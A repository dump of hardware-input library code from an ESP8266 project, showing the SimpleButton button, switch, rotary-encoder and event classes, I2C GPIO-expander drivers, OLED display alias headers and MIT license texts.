42 | bool clicked(); 43 | bool incremented(); 44 | bool decremented(); 45 | bool minVal(); 46 | bool maxVal(); 47 | 48 | private: 49 | int32_t pos = 0; 50 | 51 | bool prevA = false; 52 | bool prevB = false; 53 | 54 | enum State { STILL = 0, CLOCKWISE = 1, ANTICLOCKWISE = 2 }; 55 | State curState = State::STILL; 56 | State prevState = State::STILL; 57 | 58 | uint8_t button_steps = 1; // how many steps per turn (encoding) 59 | uint8_t steps = 0; // tmp counter 60 | 61 | int32_t min = -128; 62 | int32_t max = 127; 63 | bool loop = false; 64 | bool inverted = false; 65 | 66 | void goClockwise(); 67 | void goAnticlockwise(); 68 | }; 69 | } 70 | 71 | #endif // ifndef SimpleButton_RotaryEncoder_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/RotaryEncoderI2C.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_RotaryEncoderI2C_h 2 | #define SimpleButton_RotaryEncoderI2C_h 3 | 4 | #include "Arduino.h" 5 | #include 6 | 7 | #define ROTARY_ENCODER_I2C_ERROR 5 8 | 9 | #include "Button.h" 10 | 11 | namespace simplebutton { 12 | class RotaryEncoderI2C { 13 | public: 14 | Button* clockwise = NULL; 15 | Button* anticlockwise = NULL; 16 | Button* button = NULL; 17 | 18 | RotaryEncoderI2C(); 19 | RotaryEncoderI2C(uint8_t i2cAddress); 20 | RotaryEncoderI2C(uint8_t i2cAddressdress, TwoWire* wire); 21 | 22 | ~RotaryEncoderI2C(); 23 | 24 | void setup(uint8_t i2cAddress); 25 | void setup(uint8_t i2cAddress, TwoWire* wire); 26 | 27 | bool update(); 28 | 29 | void begin(); 30 | void reset(); 31 | 32 | bool connected(); 33 | String getError(); 34 | 35 | void setConfig(uint8_t config); 36 | 37 | void enableInterrupt(uint8_t pin, bool pullup); 38 | void enableLed(bool led); 39 | void enableLoop(bool loop); 40 | void setEncoding(uint8_t encoding); 41 | void setInverted(bool inverted); 42 | 43 | bool interrupt(); 44 | 45 | void setPos(int32_t value); 46 | void setMin(int32_t value); 47 | void setMax(int32_t value); 48 | void setLed(uint8_t valueA, uint8_t valueB); 49 | void setLedA(uint8_t value); 50 | void setLedB(uint8_t value); 51 | 52 | int32_t getPos(); 53 | 54 | uint8_t readStatus(); 55 | uint8_t readLedA(); 56 | uint8_t readLedB(); 57 | int32_t readMax(); 58 | int32_t readMin(); 59 | 60 | bool clicked(); 61 | bool incremented(); 62 | bool decremented(); 63 | bool minVal(); 64 | bool maxVal(); 65 | 66 | private: 67 | // temp variables 68 | uint8_t status = 0x00; 69 | uint8_t error = 0; 70 | 71 | // i2c stuff 72 | uint8_t i2cAddress = 0x00; 73 | TwoWire* wire = NULL; 74 | 75 | // config 76 | uint8_t interruptPin = 0; 77 | bool interruptEnable = false; // INTE 78 | bool interruptPullup = true; 79 | bool ledEnabled = false; // LEDE 80 | bool encoding = false; // x1 = false, x2 = true 81 | bool loop = false; // WRAPE 82 | bool inverted = false; // DIRE 83 | 84 | // internal functions 85 | void write(uint8_t address, uint8_t value); 86 | void write(uint8_t address, int32_t value); 87 | 88 | uint8_t read(uint8_t address); 89 | int32_t read32(uint8_t address); 90 | }; 91 | } 92 | #endif // ifndef SimpleButton_RotaryEncoderI2C_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/Switch.cpp: -------------------------------------------------------------------------------- 1 | #include "Switch.h" 2 | 3 | namespace simplebutton { 4 | Switch::Switch() { 5 | button = new Button(); 6 | } 7 | 8 | Switch::Switch(uint8_t pin) { 9 | setup(pin); 10 | } 11 | 12 | Switch::Switch(GPIOExpander* pcf, uint8_t pin) { 13 | setup(pcf, pin); 14 | } 15 | 16 | Switch::Switch(Button* button) { 17 | setup(button); 18 | } 19 | 20 | Switch::~Switch() { 21 | if (this->button) delete this->button; 22 | } 23 | 24 | void Switch::setup(uint8_t pin) { 25 | button = new Button(pin); 26 | tmpState = button->read(); 27 | } 28 | 29 | void Switch::setup(GPIOExpander* pcf, uint8_t pin) { 30 | button = new ButtonGPIOExpander(pcf, pin); 31 | tmpState = button->read(); 32 | } 33 | 34 | void Switch::setup(Button* button) { 35 | setButton(button); 36 | tmpState = button->read(); 37 | } 38 | 39 | void Switch::update() { 40 | update(button->read()); 41 | } 42 | 43 | void Switch::update(bool state) { 44 | bool prevState = tmpState; 45 | 46 | tmpState = state > 0; 47 | 48 | if (prevState != tmpState) button->click(); 49 | } 50 | 51 | void Switch::setButton(Button* button) { 52 | if (this->button) delete this->button; 53 | this->button = button ? button : new Button(); 54 | } 55 | 56 | bool Switch::getState() { 57 | return tmpState; 58 | } 59 | 60 | bool Switch::clicked() { 61 | return button->clicked(); 62 | } 63 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Buttons/Switch.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_Switch_h 2 | #define SimpleButton_Switch_h 3 | 4 | #include "Button.h" 5 | #include "ButtonGPIOExpander.h" 6 | 7 | namespace simplebutton { 8 | class Switch { 9 | public: 10 | Button* button = NULL; 11 | 12 | Switch(); 13 | Switch(uint8_t pin); 14 | Switch(GPIOExpander* pcf, uint8_t pin); 15 | Switch(Button* button); 16 | 17 | ~Switch(); 18 | 19 | void setup(uint8_t pin); 20 | void setup(GPIOExpander* pcf, uint8_t pin); 21 | void setup(Button* button); 22 | 23 | void update(); 24 | void update(bool state); 25 | 26 | void setButton(Button* button); 27 | 28 | bool getState(); 29 | bool clicked(); 30 | 31 | private: 32 | bool tmpState = false; 33 | }; 34 | } 35 | 36 | #endif // ifndef SimpleButton_Switch_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/ClickEvent.cpp: -------------------------------------------------------------------------------- 1 | #include "ClickEvent.h" 2 | 3 | namespace simplebutton { 4 | ClickEvent::ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime) { 5 | this->fnct = fnct; 6 | this->minPushTime = minPushTime; 7 | this->minReleaseTime = minReleaseTime; 8 | } 9 | 10 | ClickEvent::~ClickEvent() { 11 | if (next) { 12 | delete next; 13 | next = NULL; 14 | } 15 | } 16 | 17 | uint8_t ClickEvent::getMode() { 18 | return MODE::CLICKED; 19 | } 20 | 21 | uint32_t ClickEvent::getMinPushTime() { 22 | return minPushTime; 23 | } 24 | 25 | uint32_t ClickEvent::getMinReleaseTime() { 26 | return minReleaseTime; 27 | } 28 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/ClickEvent.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ClickEvent_h 2 | #define SimpleButton_ClickEvent_h 3 | 4 | #include "Event.h" 5 | 6 | namespace simplebutton { 7 | class ClickEvent : public Event { 8 | public: 9 | ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime); 10 | ~ClickEvent(); 11 | 12 | uint8_t getMode(); 13 | uint32_t getMinPushTime(); 14 | uint32_t getMinReleaseTime(); 15 | 16 | private: 17 | uint32_t minPushTime = 0; 18 | uint32_t minReleaseTime = 0; 19 | }; 20 | } 21 | 22 | #endif // ifndef SimpleButton_ClickEvent_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/DoubleclickEvent.cpp: -------------------------------------------------------------------------------- 1 | #include "DoubleclickEvent.h" 2 | 3 | namespace simplebutton { 4 | DoubleclickEvent::DoubleclickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, 5 | uint32_t timeSpan) { 6 | this->fnct = fnct; 7 | this->minPushTime = minPushTime; 8 | this->minReleaseTime = minReleaseTime; 9 | this->timeSpan = timeSpan; 10 | } 11 | 12 | DoubleclickEvent::~DoubleclickEvent() { 13 | if (next) { 14 | delete next; 15 | next = NULL; 16 | } 17 | } 18 | 19 | uint8_t DoubleclickEvent::getMode() { 20 | return MODE::DOUBLECLICKED; 21 | } 22 | 23 | uint32_t DoubleclickEvent::getMinPushTime() { 24 | return minPushTime; 25 | } 26 | 27 | uint32_t DoubleclickEvent::getMinReleaseTime() { 28 | return minReleaseTime; 29 | } 30 | 31 | uint32_t DoubleclickEvent::getTimeSpan() { 32 | return timeSpan; 33 | } 34 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/DoubleclickEvent.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_DoubleclickEvent_h 2 | #define SimpleButton_DoubleclickEvent_h 3 | 4 | #include "Event.h" 5 | 6 | namespace simplebutton { 7 | class DoubleclickEvent : public Event { 8 | public: 9 | DoubleclickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan); 10 | ~DoubleclickEvent(); 11 | 12 | uint8_t getMode(); 13 | uint32_t getMinPushTime(); 14 | uint32_t getMinReleaseTime(); 15 | uint32_t getTimeSpan(); 16 | 17 | private: 18 | uint32_t minPushTime = 0; 19 | uint32_t minReleaseTime = 0; 20 | uint32_t timeSpan = 0; 21 | }; 22 | } 23 | 24 | #endif // ifndef SimpleButton_DoubleclickEvent_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/Event.cpp: -------------------------------------------------------------------------------- 1 | #include "Event.h" 2 | 3 | namespace simplebutton { 4 | Event::~Event() { 5 | if (next) { 6 | delete next; 7 | next = NULL; 8 | } 9 | } 10 | 11 | void Event::run() { 12 | if (fnct) fnct(); 13 | } 14 | 15 | uint8_t Event::getMode() { 16 | return MODE::NONE; 17 | } 18 | 19 | uint32_t Event::getMinPushTime() { 20 | return 0; 21 | } 22 | 23 | uint32_t Event::getMinReleaseTime() { 24 | return 0; 25 | } 26 | 27 | uint32_t Event::getTimeSpan() { 28 | return 0; 29 | } 30 | 31 | uint32_t Event::getInterval() { 32 | return 0; 33 | } 34 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/Event.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_Event_h 2 | #define SimpleButton_Event_h 3 | 4 | #include "Arduino.h" 5 | #include 6 | 7 | #define ButtonEventFunction std::functionfnct 8 | 9 | namespace simplebutton { 10 | class Event { 11 | public: 12 | Event* next = NULL; 13 | enum MODE { NONE = 0, PUSHED = 1, RELEASED = 2, CLICKED = 3, DOUBLECLICKED = 4, HOLDING = 5 }; 14 | 15 | virtual ~Event(); 16 | 17 | virtual void run(); 18 | 19 | virtual uint8_t getMode(); 20 | virtual uint32_t getMinPushTime(); 21 | virtual uint32_t getMinReleaseTime(); 22 | virtual uint32_t getTimeSpan(); 23 | virtual uint32_t getInterval(); 24 | 25 | protected: 26 | ButtonEventFunction = NULL; 27 | }; 28 | } 29 | 30 | #endif // ifndef Event_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/HoldEvent.cpp: -------------------------------------------------------------------------------- 1 | #include "HoldEvent.h" 2 | 3 | namespace simplebutton { 4 | HoldEvent::HoldEvent(ButtonEventFunction, uint32_t interval) { 5 | this->fnct = fnct; 6 | this->interval = interval; 7 | } 8 | 9 | HoldEvent::~HoldEvent() { 10 | if (next) { 11 | delete next; 12 | next = NULL; 13 | } 14 | } 15 | 16 | uint8_t HoldEvent::getMode() { 17 | return MODE::HOLDING; 18 | } 19 | 20 | uint32_t HoldEvent::getInterval() { 21 | return interval; 22 | } 23 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/HoldEvent.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_HoldEvent_h 2 | #define SimpleButton_HoldEvent_h 3 | 4 | #include "Event.h" 5 | namespace simplebutton { 6 | class HoldEvent : public Event { 7 | public: 8 | HoldEvent(ButtonEventFunction, uint32_t interval); 9 | ~HoldEvent(); 10 | 11 | uint8_t getMode(); 12 | uint32_t getInterval(); 13 | 14 | private: 15 | uint32_t interval = 0; 16 | }; 17 | } 18 | 19 | #endif // ifndef SimpleButton_HoldEvent_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/PushEvent.cpp: -------------------------------------------------------------------------------- 1 | #include "PushEvent.h" 2 | 3 | namespace simplebutton { 4 | PushEvent::PushEvent(ButtonEventFunction) { 5 | this->fnct = fnct; 6 | } 7 | 8 | PushEvent::~PushEvent() { 9 | if (next) { 10 | delete next; 11 | next = NULL; 12 | } 13 | } 14 | 15 | uint8_t PushEvent::getMode() { 16 | return MODE::PUSHED; 17 | } 18 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/PushEvent.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_PushEvent_h 2 | #define SimpleButton_PushEvent_h 3 | 4 | #include "Event.h" 5 | 6 | namespace simplebutton { 7 | class PushEvent : public Event { 8 | public: 9 | PushEvent(ButtonEventFunction); 10 | ~PushEvent(); 11 | 12 | uint8_t getMode(); 13 | }; 14 | } 15 | 16 | #endif // ifndef SimpleButton_PushEvent_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/ReleaseEvent.cpp: -------------------------------------------------------------------------------- 1 | #include "ReleaseEvent.h" 2 | 3 | namespace simplebutton { 4 | ReleaseEvent::ReleaseEvent(ButtonEventFunction) { 5 | this->fnct = fnct; 6 | } 7 | 8 | ReleaseEvent::~ReleaseEvent() { 9 | if (next) { 10 | delete next; 11 | next = NULL; 12 | } 13 | } 14 | 15 | uint8_t ReleaseEvent::getMode() { 16 | return MODE::RELEASED; 17 | } 18 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/Events/ReleaseEvent.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_ReleaseEvent_h 2 | #define SimpleButton_ReleaseEvent_h 3 | 4 | #include "Event.h" 5 | 6 | namespace simplebutton { 7 | class ReleaseEvent : public Event { 8 | public: 9 | ReleaseEvent(ButtonEventFunction); 10 | ~ReleaseEvent(); 11 | 12 | uint8_t getMode(); 13 | }; 14 | } 15 | 16 | #endif // ifndef SimpleButton_ReleaseEvent_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Stefan Kremser 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/SimpleButton.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_h 2 | #define SimpleButton_h 3 | 4 | #include "Buttons/Button.h" 5 | #include "Buttons/ButtonGPIOExpander.h" 6 | #include "Buttons/ButtonPullup.h" 7 | #include "Buttons/ButtonPullupGPIOExpander.h" 8 | #include "Buttons/ButtonAnalog.h" 9 | #include "Buttons/Switch.h" 10 | #include "Buttons/RotaryEncoder.h" 11 | #include "Buttons/RotaryEncoderI2C.h" 12 | #include "Buttons/AnalogStick.h" 13 | #include "Buttons/PS2Gamepad.h" 14 | 15 | #endif // ifndef SimpleButton_h 16 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/GPIOExpander.cpp: -------------------------------------------------------------------------------- 1 | #include "GPIOExpander.h" 2 | 3 | namespace simplebutton { 4 | void GPIOExpander::setup(uint8_t address) { 5 | this->wire = &Wire; 6 | this->address = address; 7 | write(0); 8 | } 9 | 10 | void GPIOExpander::setup(uint8_t address, TwoWire* wire) { 11 | this->wire = wire; 12 | this->address = address; 13 | write(0); 14 | } 15 | 16 | bool GPIOExpander::connected() { 17 | return error == 0; 18 | } 19 | 20 | String GPIOExpander::getError() { 21 | String msg; 22 | 23 | switch (error) { 24 | case 0: 25 | msg += String(F("OK")); 26 | break; 27 | 28 | case 1: 29 | msg += String(F("Data too long to fit in transmit buffer")); 30 | break; 31 | 32 | case 2: 33 | msg += String(F("Received NACK on transmit of address")); 34 | break; 35 | 36 | case 3: 37 | msg += String(F("Received NACK on transmit of data")); 38 | 39 | case 4: 40 | msg += String(F("Unknown transmission error")); 41 | break; 42 | 43 | case 5: 44 | msg += String(F("Pin error")); 45 | break; 46 | 47 | case 6: 48 | msg += String(F("I2C error")); 49 | break; 50 | } 51 | 52 | return msg; 53 | } 54 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/GPIOExpander.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_GPIOExpander_h 2 | #define SimpleButton_GPIOExpander_h 3 | 4 | #include "Arduino.h" 5 | #include 6 | 7 | #define PCF_PIN_ERROR 5 8 | #define PCF_I2C_ERROR 6 9 | 10 | namespace simplebutton { 11 | class GPIOExpander { 12 | public: 13 | virtual ~GPIOExpander() = default; 14 | 15 | virtual void setup(uint8_t address); 16 | virtual void setup(uint8_t address, TwoWire* wire); 17 | 18 | virtual int read() = 0; 19 | virtual int read(uint8_t pin) = 0; 20 | 21 | virtual void write(int value) = 0; 22 | virtual void write(uint8_t pin, bool value) = 0; 23 | 24 | virtual void toggle() = 0; 25 | virtual void toggle(uint8_t pin) = 0; 26 | 27 | virtual bool connected(); 28 | virtual String getError(); 29 | 30 | protected: 31 | uint8_t error = 0; 32 | 33 | TwoWire* wire; 34 | uint8_t address; 35 | }; 36 | } 37 | #endif // ifndef SimpleButton_GPIOExpander_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/MCP23017.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_MCP23017_h 2 | #define SimpleButton_MCP23017_h 3 | 4 | #include "GPIOExpander.h" 5 | 6 | namespace simplebutton { 7 | class MCP23017 : public GPIOExpander { 8 | public: 9 | MCP23017(uint8_t address); 10 | MCP23017(uint8_t address, TwoWire* wire); 11 | 12 | ~MCP23017(); 13 | 14 | void setup(uint8_t address); 15 | void setup(uint8_t address, TwoWire* wire); 16 | 17 | int read(); 18 | int read(uint8_t pin); 19 | 20 | void write(int value); 21 | void write(uint8_t pin, bool value); 22 | 23 | void toggle(); 24 | void toggle(uint8_t pin); 25 | 26 | private: 27 | uint16_t pinData = 0x0000; 28 | uint16_t pinModes = 0x0000; 29 | uint16_t pinPullups = 0x0000; 30 | 31 | void setIO(); 32 | void setPullups(); 33 | 34 | void setPinMode(uint8_t pin, uint8_t mode); 35 | uint8_t getPinMode(uint8_t pin); 36 | 37 | bool getPinState(uint8_t pin); 38 | 39 | uint8_t readRegister8(uint8_t address); 40 | uint16_t readRegister16(uint8_t address); 41 | 42 | void writeRegister(uint8_t address, uint16_t value); 43 | }; 44 | } 45 | 46 | #endif // ifndef SimpleButton_MCP23017_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/PCF8574.cpp: -------------------------------------------------------------------------------- 1 | #include "PCF8574.h" 2 | 3 | namespace simplebutton { 4 | PCF8574::PCF8574(uint8_t address) { 5 | setup(address); 6 | } 7 | 8 | PCF8574::PCF8574(uint8_t address, TwoWire* wire) { 9 | setup(address, wire); 10 | } 11 | 12 | PCF8574::~PCF8574() {} 13 | 14 | int PCF8574::read() { 15 | wire->requestFrom(address, (uint8_t)1); 16 | 17 | data = 0; 18 | 19 | if (wire->available() >= 1) { 20 | data = wire->read(); 21 | } else { 22 | error = PCF_I2C_ERROR; 23 | } 24 | 25 | return data; 26 | } 27 | 28 | int PCF8574::read(uint8_t pin) { 29 | if (pin < 8) { 30 | data = read(); 31 | return (data & (1 << pin)) > 0; 32 | } else { 33 | error = PCF_PIN_ERROR; 34 | return -1; 35 | } 36 | } 37 | 38 | void PCF8574::write(int value) { 39 | wire->beginTransmission(address); 40 | 41 | pinModeMask &= 0xff00; 42 | pinModeMask |= value; 43 | data = pinModeMask; 44 | 45 | wire->write(data); 46 | 47 | error = wire->endTransmission(); 48 | } 49 | 50 | void PCF8574::write(uint8_t pin, bool value) { 51 | if (pin >= 8) { 52 | error = PCF_PIN_ERROR; 53 | return; 54 | } 55 | 56 | if (value) pinModeMask |= value << pin; 57 | else pinModeMask &= ~(1 << pin); 58 | 59 | write(pinModeMask); 60 | } 61 | 62 | void PCF8574::toggle() { 63 | pinModeMask = ~pinModeMask; 64 | write(pinModeMask); 65 | } 66 | 67 | void PCF8574::toggle(uint8_t pin) { 68 | if (pin < 8) { 69 | pinModeMask ^= 1 << pin; 70 | 71 | write(pinModeMask); 72 | } else { 73 | error = PCF_PIN_ERROR; 74 | } 75 | } 76 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/PCF8574.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_PCF8574_h 2 | #define SimpleButton_PCF8574_h 3 | 4 | #include "GPIOExpander.h" 5 | 6 | namespace simplebutton { 7 | class PCF8574 : public GPIOExpander { 8 | public: 9 | PCF8574(uint8_t address); 10 | PCF8574(uint8_t address, TwoWire* wire); 11 | ~PCF8574(); 12 | 13 | int read(); 14 | int read(uint8_t pin); 15 | 16 | void write(int value); 17 | void write(uint8_t pin, bool value); 18 | 19 | void toggle(); 20 | void toggle(uint8_t pin); 21 | 22 | private: 23 | uint8_t data; 24 | uint8_t pinModeMask; 25 | }; 26 | } 27 | 28 | #endif // ifndef SimpleButton_PCF8574_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/PCF8575.cpp: -------------------------------------------------------------------------------- 1 | #include "PCF8575.h" 2 | 3 | namespace simplebutton { 4 | PCF8575::PCF8575(uint8_t address) { 5 | setup(address); 6 | } 7 | 8 | PCF8575::PCF8575(uint8_t address, TwoWire* wire) { 9 | setup(address, wire); 10 | } 11 | 12 | PCF8575::~PCF8575() {} 13 | 14 | int PCF8575::read() { 15 | wire->requestFrom(address, (uint8_t)2); 16 | 17 | data = 0; 18 | 19 | if (wire->available() >= 2) { 20 | data = wire->read(); 21 | data |= wire->read() << 8; 22 | } 23 | 24 | return data; 25 | } 26 | 27 | int PCF8575::read(uint8_t pin) { 28 | data = read(); 29 | 30 | return (data & (1 << pin)) > 0; 31 | } 32 | 33 | void PCF8575::write(int value) { 34 | wire->beginTransmission(address); 35 | 36 | pinModeMask = value; 37 | data = pinModeMask; 38 | 39 | wire->write((uint8_t)data); 40 | wire->write((uint8_t)(data >> 8)); 41 | 42 | wire->endTransmission(); 43 | } 44 | 45 | void PCF8575::write(uint8_t pin, bool value) { 46 | if (value) pinModeMask |= value << pin; 47 | else pinModeMask &= ~(1 << pin); 48 | 49 | write(pinModeMask); 50 | } 51 | 52 | void PCF8575::toggle() { 53 | pinModeMask = ~pinModeMask; 54 | write(pinModeMask); 55 | } 56 | 57 | void PCF8575::toggle(uint8_t pin) { 58 | pinModeMask ^= 1 << pin; 59 | 60 | write(pinModeMask); 61 | } 62 | } -------------------------------------------------------------------------------- /esp8266_wifitools/src/SimpleButton/libs/PCF8575.h: -------------------------------------------------------------------------------- 1 | #ifndef SimpleButton_PCF8575_h 2 | #define SimpleButton_PCF8575_h 3 | 4 | #include "GPIOExpander.h" 5 | 6 | namespace simplebutton { 7 | class PCF8575 : public GPIOExpander { 8 | public: 9 | PCF8575(uint8_t address); 10 | PCF8575(uint8_t address, TwoWire* wire); 11 | 12 | ~PCF8575(); 13 | 14 | int read(); 15 | int read(uint8_t pin); 16 | 17 | void write(int value); 18 | void write(uint8_t pin, bool value); 19 | 20 | void toggle(); 21 | void toggle(uint8_t pin); 22 | 23 | private: 24 | uint16_t data; 25 | uint16_t pinModeMask; 26 | }; 27 | } 28 | #endif // ifndef SimpleButton_PCF8575_h -------------------------------------------------------------------------------- /esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SH1106.h: -------------------------------------------------------------------------------- 1 | /** 2 | * The MIT License (MIT) 3 | * 4 | * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn 5 | * Copyright (c) 2018 by Fabrice Weinberg 6 | * 7 | * Permission is hereby granted, free of charge, to any person obtaining a copy 8 | * of this software and associated documentation files (the "Software"), to deal 9 | * in the Software without restriction, including without limitation the rights 10 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | * copies of the Software, and to permit persons to whom the Software is 12 | * furnished to do so, subject to the following conditions: 13 | * 14 | * The above copyright notice and this permission notice shall be included in all 15 | * copies or substantial portions of the Software. 16 | * 17 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | * SOFTWARE. 24 | * 25 | * ThingPulse invests considerable time and money to develop these open source libraries. 26 | * Please support us by buying our products (and not the clones) from 27 | * https://thingpulse.com 28 | * 29 | */ 30 | 31 | #ifndef SH1106_h 32 | #define SH1106_h 33 | #include "SH1106Wire.h" 34 | 35 | // For make SH1106 an alias for SH1106Wire 36 | typedef SH1106Wire SH1106; 37 | 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/SSD1306.h: -------------------------------------------------------------------------------- 1 | /** 2 | * The MIT License (MIT) 3 | * 4 | * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn 5 | * Copyright (c) 2018 by Fabrice Weinberg 6 | * 7 | * Permission is hereby granted, free of charge, to any person obtaining a copy 8 | * of this software and associated documentation files (the "Software"), to deal 9 | * in the Software without restriction, including without limitation the rights 10 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | * copies of the Software, and to permit persons to whom the Software is 12 | * furnished to do so, subject to the following conditions: 13 | * 14 | * The above copyright notice and this permission notice shall be included in all 15 | * copies or substantial portions of the Software. 16 | * 17 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | * SOFTWARE. 24 | * 25 | * ThingPulse invests considerable time and money to develop these open source libraries. 26 | * Please support us by buying our products (and not the clones) from 27 | * https://thingpulse.com 28 | * 29 | */ 30 | 31 | #ifndef SSD1306_h 32 | #define SSD1306_h 33 | #include "SSD1306Wire.h" 34 | 35 | // For legacy support make SSD1306 an alias for SSD1306 36 | typedef SSD1306Wire SSD1306; 37 | 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/esp8266-oled-ssd1306-4.1.0/license: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2016 by Daniel Eichhorn 4 | Copyright (c) 2016 by Fabrice Weinberg 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | 24 | See more at http://blog.squix.ch 25 | -------------------------------------------------------------------------------- /esp8266_wifitools/src/my92xx-3.0.3/my92xx.h: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | MY92XX LED Driver for Arduino 4 | Based on the C driver by MaiKe Labs 5 | 6 | Copyright (c) 2016 - 2026 MaiKe Labs 7 | Copyright (C) 2017 - 2018 Xose Pérez for the Arduino compatible library 8 | 9 